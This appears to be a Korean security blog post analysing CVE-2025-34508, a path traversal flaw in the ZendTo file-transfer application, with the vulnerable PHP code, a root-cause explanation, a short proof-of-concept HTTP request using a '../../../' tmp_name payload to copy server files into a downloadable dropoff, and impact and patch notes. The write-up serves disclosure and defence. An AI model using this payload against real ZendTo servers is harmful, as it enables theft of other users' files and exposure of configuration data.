[하루한줄] CVE-2025-34508: ZendTo의 Path Traversal 취약점
URL
Target
- ZendTo ≤ 6.15-7
Explain
ZendTo는 교육기관, 정부기관, 의료기관 등에서 널리 사용되는 웹 기반 파일 전송 애플리케이션입니다.
사용자는 파일을 업로드하고 수신자에게 보낼 수 있으며 dropoff
라는 기능을 통해 전송이 이뤄집니다. 그러나 ZendTo의 파일 업로드 및 처리 루틴 중, 사용자 입력값(chunkName
, tmp_name
)에 대한 검증이 불완전하여 Path Traversal이 가능하고, 이를 통해 공격자는 서버의 임의 파일을 dropoff 디렉토리로 복사해 다운로드할 수 있습니다.
Root Cause Analysis
① 사용자 입력 chunkName
필터링
$chunkName = preg_replace('/[^0-9a-zA-Z]/', '', $_POST['chunkName']);
$chunkName = substr($chunkName, 0, 100);
$chunkPath = ini_get('upload_tmp_dir');
$chunkPath .= DIRECTORY_SEPARATOR . $chunkName;
chunkName
에서 영숫자가 아닌 문자를 모두 제거하기 때문에, 예를 들어chunkName = "."
또는".."
은 빈 문자열이 됩니다.
→ $chunkPath = /var/tmp/
처럼 상위 디렉토리 접근을 허용하게 됩니다.
② 조작된 tmp_name
처리
$new['tmp_name'] = $chunkPath . '/' . $f['tmp_name'];
$_FILES[$key] = $new;
{ "tmp_name": "../../../log/zendto/zendto.log", "error": 0 }
- 이 결과 실제 경로는 아래와 같이 처리 됩니다.
$chunkPath = /var/tmp/
$tmp_name = ../../../log/zendto/zendto.log
→ /var/tmp/../../../log/zendto/zendto.log = /log/zendto/zendto.log
③ 파일 이동 및 노출
move_uploaded_file($_FILES[$key]['tmp_name'], $claimDir."/".$tmpname)
- 해당 파일은 dropoff 디렉토리로 이동되며, 사용자는 웹 링크를 통해 이를 다운로드할 수 있습니다.
④ PoC Example
POST /dropoff HTTP/1.1
Host: localhost
...
chunkName: .
file_1: {"name":"zendto.log","tmp_name":"../../../log/zendto/zendto.log","error":0}
Impact
- 로그 파일 내 포함된 claimID 목록으로 타인의 dropoff 파일 탈취
- 내부 SQLite DB, 구성 파일(.php, .conf 등) 노출
- 서비스 코드나 중요한 리소스를 이동시켜 DoS(서비스 거부) 공격 수행
- 인증은 필요하지만 누구나 가입 가능한 구조이기 때문에 실질적인 보안 장벽이 없음
해당 취약점은 6.15-8 버전에서 패치되었습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.